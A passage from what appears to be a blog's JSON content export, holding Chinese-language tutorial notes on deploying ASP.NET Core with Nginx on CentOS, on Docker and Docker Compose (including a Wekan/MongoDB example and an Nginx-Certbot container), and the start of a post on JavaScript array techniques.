SSL 憑證，另外還設了每週一次的排程，憑證到期前會自動更新，一氣喝成，全不沾手，貼心到我想起立鼓掌。\n若對它的運作原理有興趣，Github 有原始碼可以參考。\n為了瞭解原理，我是依著 Github 原始碼自己跑 Dockerfile 製作 Nginx + Certbot 的 Image，如果嫌麻煩，直接從 Docker Hub 下載也成。\n以下是我的 Nginx docker-compose.yml：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 version: \u0026#34;3\u0026#34; services: nginx: image: nginx-certbot container_name: nginx ports: - 80:80 - 443:443 volumes: - /var/log/nginx:/var/log/nginx - /etc/nginx/conf.d:/etc/nginx/conf.d - /etc/letsencrypt:/etc/letsencrypt restart: always environment: - CERTBOT_EMAIL=your-email@mail.com network_mode: \u0026#34;host\u0026#34; 我設了三個 Volume 對映：\n/var/log/nginx：Log 檔 /etc/nginx/conf.d：設定檔 /etc/letsencrypt：用來存放 SSL 憑證 若為 SELinux 記得要 chcon -Rt 參考，另外 network_mode 指定 host 表示 Nginx 容器將直接使用 Host OS 網段，不另設 Bridge。\n參考：Docker Compose 鏈接外部容器的幾種方式\n就醬，Nginx Reverse Proxy 準備好了，下一篇來再來分享我將 ASP.NET Core 搬進 Docker 的經驗。\n","date":"2022-12-08T00:00:00Z","image":"https://live.staticflickr.com/65535/52565101723_e9c2825542_o.png","permalink":"https://blog.wayne-project.com/2022-12-08/dotnet-core-docker-note-3/","title":"ASP.NET Core Docker 筆記 3 - 共用 Nginx 容器與 Certbot 整合"},{"content":" 參考網站\n參考網站\n上篇文章體驗過在 CentOS 用 Docker Container 分別跑 Nginx 跟 ASP.NET Core 網站，並建立 Reverse Proxy 關係，接著探討在實務上當需要多個 Container 協同運作時應如何規劃整合。\n一個系統常可再拆解成多個服務。以線上購物網站為例，就可能是由 ASP.NET Core 網站(Kestrel)、MySQL 資料庫、Reverse Proxy、金流 Gateway\u0026hellip; 等多個服務組成，若要以 Docker Container 實現，有幾種策略：\n策略 1. 全部裝在單一 Container 撰寫一個 Dockerfile，以 MySQL 資料資料庫為基底，在上面安裝 ASP.NET Core Runtime、Nginx 組裝合成獸。\n好處是一個 Container 搞定，高內聚低耦合，不會因相依服務沒配置好或未啟動而故障。但缺點挺明顯：\n某些 Container Image 為求輕巧作業系統層次的工具、程式庫很精簡(例如：Nginx Container 連 ping 都沒有)，只求目標程式能執行就好，要加裝其他軟體時要點技巧，得多花些心思。 全部綁在一起便失去動態調配的彈性，例如：當前端 Web 負載過高時，擴充不易。 當需要個別升級資料庫、ASP.NET Core 版本，或是想抽換服務組合時手續複雜，有違模組化精神。 2. 以個別 Container 執行，獨立控制 如同前篇文章的做法，ASP.NET Core 網站跑 Cotainer 繫結到 Host OS 的 5000 Port，用 Container 跑 MySQL，再用 Container 跑 Ngnix 繫結到 Host OS 80 Port，再設定 Reverse Proxy 規則。\nContainer 間串接配置全靠人工，系統管理員需協助哪個 Container 聽哪個 Port，確保彼此不衝突。如此做有兩個缺點：\n相依服務的啟動狀態未連動，需靠人為控制確保先啟動資料庫 Container 再啟動網站 Container 的順序。 若 Host OS 跑多個系統都用到 MySQL，系統管理員需協調 TCP Port 不衝突，Docker 的 Bridge (橋接器)隔離網段機制全無用武之地。 3. 以個別 Container 執行，但使用 Docker Compose 關聯 為滿足多 Container 協同作業需求，Docker Compose 應運而生。\nDocker Compose 定義了一套宣告語法(採用 YAML 格式)，在其中定義各服務 Container 的啟動參數、與 Host OS Port 對映、隸屬 Bridge 網段、Volume 資料夾/檔案對應等等。\nDocker Compose 會自動為 Container 建立隔離網段並設好名稱解析，讓 Container 使用容器名稱解析成 IP 找到其他 Container，因此設定連線字串或 URL 時便可寫成 httq://myweb:5000、mongodb://mydb，清楚又方便。\n最重要是透過 docker-compose up/down 指令可以一次啟動或停用相關服務，Docker Compose 還會依據相依 depends_on 指定關聯先啟動 DB 再啟動 Web，先關閉 Web 再關閉 DB，便利性讓人工操作望塵莫及。\n參考：Docker Compose 初步閱讀與學習記錄\n實例 針對上述三種做法，以 ASP.NET Core + Ngninx 為題，對映到以下實例：\n1. 安裝成單一 Container 以 ASP.NET Core Image 為基底，安裝 Nginx，設定 nginx.conf，複製 ASP.NET Core 網站檔案並設定 service nginx start 及 dotnet /app/web.dll 分別啟動 Nginx 及 Kestrel。\n細節做法可參考這篇文章：Nginx Reverse Proxy to ASP.NET Core – Same Docker Container\n不過，該文用的 ASP.NET Core 版本偏舊，若為 ASP.NET Core 2.1 包成 Docker Container 的做法請參考前文\n2. ASP.NET Core、Nginx 各自跑 Container 就是我們在前篇文章採行的方式，但有一點要補充，除了直接對映到 Host OS IP 的 TCP Port，也可考慮自訂 Bridge，讓 Container 在隔離網段內溝通，例如：ASP.NET Core 的 5000 Port 只有 Nginx 看得到，從 Host OS 無法存取，如此可避免網路介面(網站、資料庫\u0026hellip;)外露到 Host OS，減少被攻擊的風險，這部分後面再找時間介紹。\n3. 使用 Docker Compose 串連 ASP.NET Core 與 Nginx 各有自己的容器，使用 Docker Compose 組合串連，一次啟動兩個服務。\n細節做法可參考這篇文章：Nginx Reverse Proxy to ASP.NET Core – Separate Docker Containers\n綜合以上分析，Docker Compose 無疑是整合關聯 Container 較佳的方式。\n練習 光說不練是假把式，寫技術文沒實作感覺怪怪的，來個 Docker Compose 練習好了。手邊沒有 ASP.NET Core + DB Server 的範例，就用 Docker 可以找到的 Image 當題材(也方便大家實地驗證)，試試用 Container 跑 Wekan 看板系統。Wekan 在 Node.js 執行，另外需要 MongoDB，這個練習會用 Docker Compose 組合兩個 Container 架設看板網站。\n開始前，記得先安裝 Docker Compose，如果發生 sudo docker-compose 找不到指令，要再加上 sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose 參考。\n要使用 Docker Compose 很簡單，說穿了就是將 Container 設定寫成 docker-compose.yml，寫好寫對再呼叫 docker-compose up -d 即大功告成。以 Wekan 為例，docker-compose.yml 如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 version: \u0026#39;3\u0026#39; services: wekan: image: wekanteam/wekan:latest depends_on: - wekandb environment: - MONGO_URL=mongodb://wekandb/wekan - ROOT_URL=http://localhost:80 ports: - 80:8080 wekandb: image: mongo:3.2.14 volumes: - /var/www/wekan/db:/data/db 在這個 YAML 裡，我定義了兩個 Service Container，分別叫 wekan 及 wekandb。\nWekan Container Image 來自 wekanteam/wekan 最新版，depends_on 宣告 wekan 依賴 wekandb，故 Docker Compose 會先啟動 wekandb 再啟動 wekan。\nMONGO_URL、ROOTL_URL 為環境變數，其中 MONGO_URL 寫成 mongodb://wekandb/wekan，docker-compose.yml 所定義的各 Container 預設隸屬同一個 Bridge 網段，彼此可用機器名稱解析。\nWekan 網站在 Container 掛在 8080 Port，透過 ports 80:8080 會將其對映到 Host IP 80 Port。\nwekandb Container 則以 Mongo DB Container Image 為基底，資料庫檔案以 Volume 方式對映到 Host OS /var/www/wekan/db 資料夾。\n這裡補充一個眉角，由於 SELinux 資安管控較嚴，在 CentOS/REHL/Fedora 版 Linux 上 Docker Container 讀取 Volume 對映資料夾可能會出現 permission denied 錯誤，需對該資料夾執行 chcon -Rt svirt\\_sandbox\\_file\\_t /var/www/wekan/db 調整權限，或在目錄名稱後方加上 :Z 由 Docker 自動執行。\n參考：Using Volumes with Docker can Cause Problems with SELinux\n寫好 docker-compose.yml，執行 sudo docker-compose up -d，Docker Compose 依序帶起 weknadb、wekan 兩個容器，Wekan 看板已在 Host OS 80 Port 運行成功。\n最後補充一點，前面提到 Docker Compose 會為整組 Container 建立專屬 Bridge，上圖一開始的 Create network \u0026ldquo;wekan_default\u0026rdquo; with the default driver 訊息就是證明。\n執行 docker network ls，可看到 wekan_default 是個 bridge，執行 docker inspect wekan_default 則可進一步看到這個網段為 172.18..，而兩個 Container 的 IP 分別為 172.28.0.3 及 172.28.0.2。\nDocker Compose 非常適合用來組裝 Web、DB 等多個 Container 構建系統，但我發現針對 Nginx 時有些額外考量，這部分留待下集分解。\n","date":"2022-12-07T00:00:00Z","image":"https://live.staticflickr.com/65535/52565101723_e9c2825542_o.png","permalink":"https://blog.wayne-project.com/2022-12-07/dotnet-core-docker-note-2/","title":"ASP.NET Core Docker 筆記 2 - 組合容器建構系統"},{"content":" 參考網站\n參考網站\n前面研究過在 CentOS 安裝及設定 ASP.NET Core + Nginx，習得徒手在 CentOS 安裝部署伺服器的技能，依循 Roadmap 來到下一階段 - 學習使用 Docker 簡化部署。\n容器化及 Docker 這幾年熱到發燙，有些人甚至認為它已在軟體產業掀起一波革命。(我親身體驗的感想也是：Wow! 難怪會爆紅) 此刻才起步已算遲了，但也不是沒有好處，晚起鳥兒有更多蟲可以吃，Docker 相關的文章資源多如牛毛，這裡便不多花篇幅贅述觀念與基本操作，只簡單整理我對 Docker 的理解。\nDocker 相關介紹 Container Container (容器)可以想成極度輕量化的虛擬機器(Virtual Machine)，用法及優點與 VM 相同，能在一台 Host OS 同時運行多個彼此隔離的應用程式環境，但差別在 Container 會共用底層 Host OS，相較 VM 需各跑一份 Guest OS 能省下可觀的記憶體、磁碟，因此 Container 多了啟動速度快，耗用資源少(與直接跑應用程式相去不遠)的優勢。\n一台 4GB RAM 的機器頂多跑 2 - 3 台 VM 就緊繃了，但執行數十上百個 Container 不是問題。\n2 Container 跟 VM 一樣具有很好的隔離效果，每個 Container 有自己的獨立作業環境(記憶體、磁碟空間、網路)，不會彼此干擾，不必擔心 Container A 改系統設定害 Container B 跑不起來，或是兩個 Container 互相搶奪 80 Port，拿到 Image 就一定能在自己的機器跑起來。\nContainer 在這方面的特性與 VM 完全相同，但因為不用包入作業系統，體積縮小許多，耗用記憶體也少，但便利性完全不減，取得 Container Image，靠一行指令幾秒內就能在機器把程式跑起來。\nDocker Hub Docker Hub 上有超過 10 萬個 Container Image，從 PHP、Node,js、Apache、MySQL、Mongo DB、Nginx、Redis、ASP.NET Core\u0026hellip; 幾乎想得到的都有，下指令自動下載 Image，幾秒鐘就裝好一台 DB、Web 伺服器，再下個指令又裝好第二台，不用擔心跟作業系統不相容、與其他軟體相衝、系統環境有誤導致安裝失敗，這就是 Docker 最迷人的所在。\n而我們也可將自己的專案網站做成 Image，交給測試人員測試，交付 OP 幾秒部署上線，也能將做好的 Image 上傳到 Docker Hub 與全世界分享。\nDocker Container Docker Container 起初是基於 Linux Container 技術，故在 Container 只能跑 Linux 平台應用程式，雖然在 Windows 也有 Docker for Windows，但背後是用 Hyper-V 跑 Linux 虛擬機執行 Docker Engine 再跑 Docker Container。\n後來微軟也依循相同概念發展出 Windows Container，並融入 Docker 體系，自此 Docker Container 開始有 Linux Container、Windows Container 之分，Windows Container 裡跑的就是不折不扣的 Windows 程式。\n參考：安裝 Docker 容器環境 - Windows Server 2016\n從此，在 Container 裡跑 ASP.NET WebForm不再是夢。\nWindows Container Windows Container 問市後，ASP.NET Core 程式容器化有 Linux Container 與 Windows Container 兩種選擇。\n基於 Linux Container 資源數量上的優勢，加上耗用資源較少，軟硬體成本低，我選擇 Linux Container。\n雖然 Container 間共用底層作業系統，Docker Engine 為容器中的應用程式提供隔離不受干擾的空間（記憶體、檔案系統、網路 Port）。\n例如：容器 A 寫入 /etc/aaa/default.conf 不影響容器 B /etc/aaa/default.conf 的內容、容器 A 與容器 B 都繫結到 80 Port 也不會衝突。\n先前文章提過將 Kestrel 轉為 Linux 服務、設定 www-data 執行權限\u0026hellip; 等步驟，改用 Docker 後簡單很多，生命週期由 Docker 控制，在容器內部權限一律為 root 不需額外規劃權限，直接跑 dotnet WebApp.dll 聽 5000 Port 就好。\n參考資料：\n10個Q\u0026amp;A快速認識Docker 《Docker —— 從入門到實踐­》正體中文版 Docker 入门教程 by 阮一峰 練習 Docker 安裝與基本操作的參考資料很多，這裡不多介紹，直接來幾個練習暖身：在 CentOS 上用 Docker 下載現成 Conatiner Image 執行 Nginx 伺服器，再用預設專案範本建立 ASP.NET Core 網站並包進 Container 執行。最後將二者串接在一起，使用 Nginx 做為 ASP.NET Core 網站的 Reverse Proxy。\n執行 Nginx Container 執行 Nginx Container\n1 sudo docker run --name mynginx -d -p 80:80 --rm nginx 不誇張，真的只要這行 Nginx 就好了。\n-d：把 Container 丟到背景執行不要佔用命令列視窗 -p 80:80：表示將 Container 的 80 Port 對應到 Host OS 的 80 Port --rm：表示 Container 停止時自動刪除。 開個 Chrome 連上 Host OS 的 80 Port，Nginx 已經準備就緒！\n註：docker 指令需繫結 Unix Socket，必須以 SuperUser 權限執行，將使用者加入 Docker 群組可省去每次加 sudo 的麻煩。參考：Manage Docker as a non-root user\n1 2 sudo groupadd docker sudo usermod -aG docker $USER 但這招在 CentOS/Fedora/RHEL 不管用!，但有替代方案：在 /etc/sudoers 加入 yourUserAccount ALL=(ALL) NOPASSWD: /usr/bin/docker 開放 sudo docker 時不用敲密碼，再用 alias docker=\u0026quot;sudo /usr/bin/docker\u0026quot; 建立同義詞，也可做到不必 sudo 敲密碼跑 docker 指令。\n將 ASP.NET Core 專案包進 Container 將 ASP.NET Core 專案包進 Container 使用 .NET Core CLI 建立 MVC 專案，修改 Startup.cs 取消 app.UseHttpsRedirection()，以 Kestrel 執行 ASP.NET Core 網站。\n1 2 3 4 dotnet new mvc sed -i -e \u0026#39;s/app.UseHttps/\\/\\/app.UseHttps/\u0026#39; Startup.cs dotnet publish dotnet bin/Debug/netcoreapp2.1/web.dll 由於 5000 Port 預設不對外開放，懶得開防火牆，在本機用 curl httq://localhost:5000 驗證網站運行中。\n驗證程式可執行後，寫個 Dockerfile 腳本將程式封裝成 Docker Image，這部分細節可參考保哥的文章：如何將 ASP.NET Core 2.1 網站部署到 Docker 容器中。\n在實務環境可以設計成全自動化測試流程，到版控抓原始碼放進內含 .NET Core SDK 的 Container 編譯，將結果包成只有 .NET Core Runtime 的 Container Image，用它建立 Container 進行 E2E 測試，一切自動化。這裡為求簡便，我選擇用只有 Runtime 的 Container Image 當成基底，將在 Host OS 編譯好的檔案複製到 Container /app 目錄，Dockerfile 內容如下：\n1 2 3 4 FROM microsoft/dotnet:2.1-aspnetcore-runtime WORKDIR /app COPY ./bin/Debug/netcoreapp2.1 ./ ENTRYPOINT [\u0026#34;dotnet\u0026#34;, \u0026#34;web.dll\u0026#34;] 做好 Dockerfile 後執行 docker build，Docker 會從 Docker Hub 下載 microsoft/dotnet:2.1-aspnetcore-runtime (microsoft/dotnet 是 Image 名稱，同一 Image 常有多種版本可選擇，:2.1-aspnetcore-runtime 是標籤可用來指定版本)，-t 參數指定 Image 名稱為 testapp。\nContainer Image 做好後接著用 docker run -d --rm --name myapp -p 5000:80 testapp 用剛做好的 Image 建立 Container，ASP.NET Core 專案在 Container 執行時，預設聽 80 Port，故我們用 -p 5000:80 將 Container 的 80 Port 導向 Host OS 的 5000 Port。用 curl 驗證網站運行中。\n使用 docker images 及 docker ps 我們可以看到剛才建立的 Image testapp 及 Container myapp：\n將 Nginx 設成 ASP.NET Core 網站的 Reverse Proxy 至此，我們做了兩個 Container，myginx 聽 Host OS 80 Port，myapp 聽 Host OS 的 5000 Port，下一步要將 Nginx 設成 ASP.NET Core 網站的 Reverse Proxy。\n做法跟先前文章介紹過的概念差不多，為求簡便我們直接修改 conf.d/default.conf 將進入 80 Port 的請求導向 5000 Port。(正規做法建議一個網站開一個 conf 檔) Container 的檔案系統是隔離的，將設定檔保存在 Container 裡不是好主意 - 除非每次修改設定存檔就重新產生 Image 並要求未來一律改用新版 Image 建立 Container，否則一旦 Conatiner 被刪除，設定就會消失。同樣問題也會發生在資料庫檔、Log 檔等執行期間要動態更新的內容，這類檔案保存在 Host OS 檔案系統上比較合理，程式換版換了 Container Image 資料才不受影響。Docker 靠 Volume 解決資料保存及共用需求，docker run 有個 -v host-path:container-path 可將 Host OS 特定目錄或檔案對映到 Container，讓 Container 能讀寫 Host OS 的檔案。\n對 Nginx Container 來說，Reverse Proxy 設定放在 /etc/nginx/conf.d，我選擇在 Host OS 也建立相同路徑並將 Container 的 default.conf 複製出來(指令如下)，修改後在 docker run 加上 -v /etc/nginx/conf.d:/etc/nginx/conf.d 對映回去：\n1 sudo docker cp mynginx:/etc/nginx/conf.d /etc/nginx/conf.d 修改 /etc/nginx/conf.d/default.conf，目前是將進入 Nginx 80 Port 的請求導向 Host OS 5000 Port，但從 Docker Container 存取 Host OS IP 有些眉角，Mac 或 Windows Docker 18.3+ 可用 DNS 名稱 host.docker.internal 指向 Host OS IP，但 Docker for Linux 18.4+ 這招己失效。參考\n省事做法是 docker run 時用 --network host 讓 Container 直接繫結本機 IP 而非 Docker 所屬的隔離網段，如此 default.conf 的 proxy_pass 指向 localhost:5000 即可。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 server { listen 80; server_name localhost; #charset koi8-r; #access_log /var/log/nginx/host.access.log main; location / { proxy_pass http://localhost:5000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection keep-alive; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } 完整啟動指令如下：\n1 sudo docker run --name mynginx -d -v /etc/nginx/conf.d:/etc/nginx/conf.d --network host nginx 從遠端開啟 Chrome 連上 Host OS 的 80 Port，我們已被順利導向 ASP.NET Core 網站，顯示設定成功。\n經過以上練習，我們體驗了從 Docker Hub 下載 Image 建立 Docker Containter 跑 Nginx、用 Dockerfile 將 ASP.NET Core 網站包成 Container、用 Port 映對 Host OS TCP Port 到 Container、使用 -v(\u0026ndash;volume) 映對資料夾讓 Container 讀寫 Host OS 檔案。\n而在實務應用上，相關的 Conatiner 需要組合在一起執行，例如一個 Container 跑網站，一個 Container 跑資料庫，此時可用 docker-compose 簡化管理；另外 Docker 也提供 Bridge 為相關 Container 建立專屬的隔離網段，防止外界接觸到不想對外公開的網路服務，也避免不相干的 Container 彼此干擾\u0026hellip; 這些議題就留待下一篇文章討論。\n","date":"2022-12-06T00:00:00Z","image":"https://live.staticflickr.com/65535/52565101723_e9c2825542_o.png","permalink":"https://blog.wayne-project.com/2022-12-06/dotnet-core-docker-note-1/","title":"ASP.NET Core Docker 筆記 1 - 初探"},{"content":" 參考網站\nASP.NET Core 內建的 Kestrel 伺服器輕巧但功能陽春，實務上需搭配 Reverse Proxy 對外提供服務，Linux 有兩大 Reverse Proxy 選擇：Apache 及 Nginx，這邊筆記一下使用這幾年如日中天的 Nginx。\n相較於 Apache、lighttpd，Nginx 標榜單一執行緒、記憶耗用少、穩定性高，強調效能取向，在熱門網站間獨霸一方(參考：維基百科)，與強調效能的 ASP.NET Core 搭配，相得益彰。\n以下是我的 CentOS Nginx 安裝設定筆記：\n安裝 Nginx。參考：How To Install Nginx on CentOS 7 1 2 sudo yum install epel-release sudo yum install nginx 發現 CentOS 預設沒裝 telnet 客戶端，檢測查修不便，安裝一下 telnet： 1 sudo yum install telnet 啟動 Nginx 1 sudo systemctl start nginx 啟動後 telnet localhost 80 如有連上就是成功了。如從外部連不上多是防火牆緣故，需額外設定：\n1 2 3 sudo firewall-cmd --permanent --zone=public --add-service=http sudo firewall-cmd --permanent --zone=public --add-service=https sudo firewall-cmd --reload 設好防火牆，從 Windows 開 Chrome 連上 CentOS 主機 80 Port，如果看到 Nginx 歡迎網頁即代表大功告成。\nASP.NET Core 文件有詳細的Nginx 設定教學，做法是直接修改 /etc/nginx/nginx.conf，在 http 區塊加入 server 設定。 但較模組化的做法是為每個站台寫獨立 conf 檔放在 /etc/nginx/conf.d 下。例如：/etc/nginx/conf.d/default.conf\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 server { listen 80; server_name linux.darkblog.net; #測試用的自訂網域名稱 location / { proxy_pass http://localhost:5000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection keep-alive; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } 設定完畢先用 sudo nginx -t 測試設定檔有沒有被改壞，若 OK 就執行 sudo nginx -s reload 重新載入。\n試連時我遇到 502 Bad Gateway 錯誤： 1 2 2018/09/24 15:37:53 [crit] 60137#0: *7 connect() to 127.0.0.1:5000 failed (13: Permission denied) while connecting to upstream, client: 192.168.50.159, server: linux.darkblog.net, request: \u0026#34;GET / HTTP/1.1\u0026#34;, upstream: \u0026#34;http://127.0.0.1:5000/\u0026#34;, host: \u0026#34;linux.darkblog.net\u0026#34; 2018/09/24 15:37:53 [error] 60137#0: *7 no live upstreams while connecting to upstream, client: 192.168.50.159, server: linux.darkblog.net, request: \u0026#34;GET /favicon.ico HTTP/1.1\u0026#34;, upstream: \u0026#34;http://localhost/favicon.ico\u0026#34;, host: \u0026#34;linux.darkblog.net\u0026#34;, referrer: \u0026#34;http://linux.darkblog.net/\u0026#34; 爬文是 Security-Enhanced Linux (SELinux) 作祟，它是 RHEL 6.6+/CentOS 6.6+ 新加的安全鎖，需下指令解除封印：\n1 sudo setsebool -P httpd_can_network_connect on 接著要設定 SSL： 有個很威的工具叫 Certbot，可以自動申請、驗證、下載、安裝並定期更新 Let\u0026rsquo;s Enrypt 憑證。但這部分要將網站正式掛上 Internet 才好測試，真實憑證留待未來再玩，我先做一張自發憑證驗證 SSL 功能。\n1 2 3 4 sudo mkdir /etc/ssl/private sudo chmod 700 /etc/ssl/private sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/nginx-selfsigned.key -out /etc/ssl/certs/nginx-selfsigned.crt sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048 建立一個 /var/nginx/conf.d/ssl.conf\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 server { listen 443 http2 ssl; listen [::]:443 http2 ssl; server_name linux.darkblog.net; ssl_certificate /etc/ssl/certs/nginx-selfsigned.crt; ssl_certificate_key /etc/ssl/private/nginx-selfsigned.key; ssl_dhparam /etc/ssl/certs/dhparam.pem; location / { proxy_pass http://localhost:5000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection keep-alive; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } 參考：\nHow To Secure Nginx with Let\u0026rsquo;s Encrypt on CentOS 7 NGINX 使用 Let’s Encrypt 免費 SSL 憑證設定 HTTPS 安全加密網頁教學 - G.T.Wang How To Create a Self-Signed SSL Certificate for Nginx on CentOS 7 NLog.config 路徑配合作業系統要改 \u0026quot;/var/log/Darkblog/$/$.log\u0026quot;\n在 Reverse Proxy 模式下 HttpContext.Connection.RemoteIpAddress 會抓到 ::1，而 HttpContext.Connection.RemotePort 則是 5000，並非真實客戶端 IP 及對外 Port。在 Startup.cs 加入 app.UseForwardedHeaders() 可解決問題，但啟用 UseForwardedHeaders() 若未搭配 Reverse Proxy 會有來源 IP 偽造風險，不想冒險也不想針對 IIS / Nginx 調整設定，我想到一招讓程式自動依 OS 決定要不要啟用，一勞永逸：\n1 2 3 4 5 6 7 8 9 10 11 public void Configure(IApplicationBuilder app, IHostingEnvironment env) { //運行於 Linux 時啟用 Reverse Proxy 模式 if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux)) { app.UseForwardedHeaders(new ForwardedHeadersOptions { ForwardedHeaders = ForwardedHeaders.XForwardedFor | ForwardedHeaders.XForwardedProto }); } } 線上主機當然不好每次靠手動輸入 dotnet Blah.dll 啟動網站，ASP.NET Core 文件展示了將程式包成服務的方法。先建立 /etc/systemd/system/kestrel-darkblog.service，內容如下： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [Unit] Description=Darkblog.Core Server [Service] WorkingDirectory=/var/www/Darkblog ExecStart=/usr/bin/dotnet /var/www/Darkblog/Darkblog.Core.dll Restart=always # Restart service after 10 seconds if the dotnet service crashes: RestartSec=10 SyslogIdentifier=darkblog-core User=www-data Environment=ASPNETCORE_ENVIRONMENT=Production Environment=DOTNET_PRINT_TELEMETRY_MESSAGE=false [Install] WantedBy=multi-user.target 設好 kestrel-darkblog.service 後註冊並啟動服務 1 2 3 sudo systemctl enable kestrel-darkblog.service sudo systemctl start kestrel-darkblog.service sudo systemctl status kestrel-darkblog.service 馬上遇到錯誤：\n1 (code=exited, status=217/USER) Process: 66571 ExecStart=/usr/bin/dotnet /var/www/Darkblog/Darkblog.Core.dll (code=exited, status=1/FAILURE) 原因是服務模式使用 www-data 身分執行，沒有權限存取 ASP.NET Core 網站所在目錄與檔案。這部分我不是很確定做法，找到的解法是用 chown 將 /var/www/Darkblog 目錄的擁有者及群組都設成 www-data，建立 www-data 帳號及群組，並將我的管理帳號也加入 www-data 群組，如此服務可以存取該目錄，而我也有權限部署檔案。(註：) 以下指令建立 www-data 使用者及群組，將 jeffrey 加入群組，並授與 www-data 群組可以寫入：\n1 2 3 4 sudo groupadd www-data sudo useradd -g www-data www-data sudo usermod -a -G www-data jeffrey sudo chmod g+w -R /var/www/Darkblog 有一則小訣竅，以服務方式執行 ASP.NET Core 看不到主控台顯示的錯誤訊息，可改用這個指令來查看： 1 sudo journalctl -fu kestrel-darkblog.service 以上，ASP.NET Core + Nginx on CentOS 執行成功。\n附上 CPU / Memory 使用狀況，這是在開瀏覽器狂按 F5 下的數字，總記憶體 1GB，dotnet CPU 在 5% 以下，RAM 耗用不到 10%，有個 kworker CPU 偏高，爬文與硬碟有關，推測與 Win10 Hyper-V VM 不怎麼的虛擬磁碟效能有點關係。但整體數字讓我很滿意，遷都 CentOS 計劃繼續挺進。\n","date":"2022-12-06T00:00:00Z","image":"https://live.staticflickr.com/65535/52564798549_d9c11f4419_o.png","permalink":"https://blog.wayne-project.com/2022-12-06/dotnet-nginx-install-on-centos/","title":"在 CentOS 上安裝 ASP.NET Core + Nginx 的筆記"},{"content":" 參考網站\n參考網站\n陣列是 JavaScript 中最常用到的概念之一。處理資料時很常用到這種資料結構。這篇文章介紹一些陣列操作的基本方法，希望對你有幫助！\n從陣列中移除重複項目 很經典的面試問題，需要從陣列中找出獨立值。使用 Set 資料型態，可以輕易完成這任務。這邊介紹兩種方法，一個使用 .from() 一個使用 \u0026hellip; 展開運算子。\n1 2 3 4 5 6 7 8 9 var fruits = [\u0026#34;banana\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;watermelon\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;grape\u0026#34;, \u0026#34;apple\u0026#34;]; // First method var uniqueFruits = Array.from(new Set(fruits)); console.log(uniqueFruits); // returns [\u0026#34;banana\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;watermelon\u0026#34;, \u0026#34;grape\u0026#34;] // Second method var uniqueFruits2 = [...new Set(fruits)]; console.log(uniqueFruits2); // returns [\u0026#34;banana\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;watermelon\u0026#34;, \u0026#34;grape\u0026#34;] 從陣列中抽換掉某個元素 這個情境也很常見。有一個簡單的好方法，就是使用 .splice ，參數分別是開始修改的位置、修改幾個元素、要更改成哪些值。\n1 2 3 var fruits = [\u0026#34;banana\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;watermelon\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;grape\u0026#34;, \u0026#34;apple\u0026#34;]; fruits.splice(0, 2, \u0026#34;potato\u0026#34;, \u0026#34;tomato\u0026#34;); console.log(fruits); // returns [\u0026#34;potato\u0026#34;, \u0026#34;tomato\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;watermelon\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;grape\u0026#34;, \u0026#34;apple\u0026#34;] 不用 .map() 的 map 功能 .map() 很常用、大家都會用，但有一個方法也很不錯，也很簡潔，就是 .from()。\n1 2 3 4 5 6 7 8 9 10 11 12 var friends = [ { name: \u0026#34;John\u0026#34;, age: 22 }, { name: \u0026#34;Peter\u0026#34;, age: 23 }, { name: \u0026#34;Mark\u0026#34;, age: 24 }, { name: \u0026#34;Maria\u0026#34;, age: 22 }, { name: \u0026#34;Monica\u0026#34;, age: 21 }, { name: \u0026#34;Martha\u0026#34;, age: 19 }, ] var friendsNames = Array.from(friends, ({name}) =\u0026gt; name); console.log(friendsNames); // returns [\u0026#34;John\u0026#34;, \u0026#34;Peter\u0026#34;, \u0026#34;Mark\u0026#34;, \u0026#34;Maria\u0026#34;, \u0026#34;Monica\u0026#34;, \u0026#34;Martha\u0026#34;] 清空陣列 有時候你會需要清空一個陣列。一個一個把元素刪掉太慢了，下面這個方法快多了：直接把長度設為 0 吧！\n1 2 3 4 5 var fruits = [\u0026#34;banana\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;watermelon\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;grape\u0026#34;, \u0026#34;apple\u0026#34;]; fruits.length = 0; console.log(fruits); // returns [] 把陣列轉換為物件 有時需要把陣列轉成物件。使用 \u0026hellip; 展開運算子可以很快完成這任務。\n1 2 3 var fruits = [\u0026#34;banana\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;watermelon\u0026#34;]; var fruitsObj = { ...fruits }; console.log(fruitsObj); // returns {0: \u0026#34;banana\u0026#34;, 1: \u0026#34;apple\u0026#34;, 2: \u0026#34;orange\u0026#34;, 3: \u0026#34;watermelon\u0026#34;, 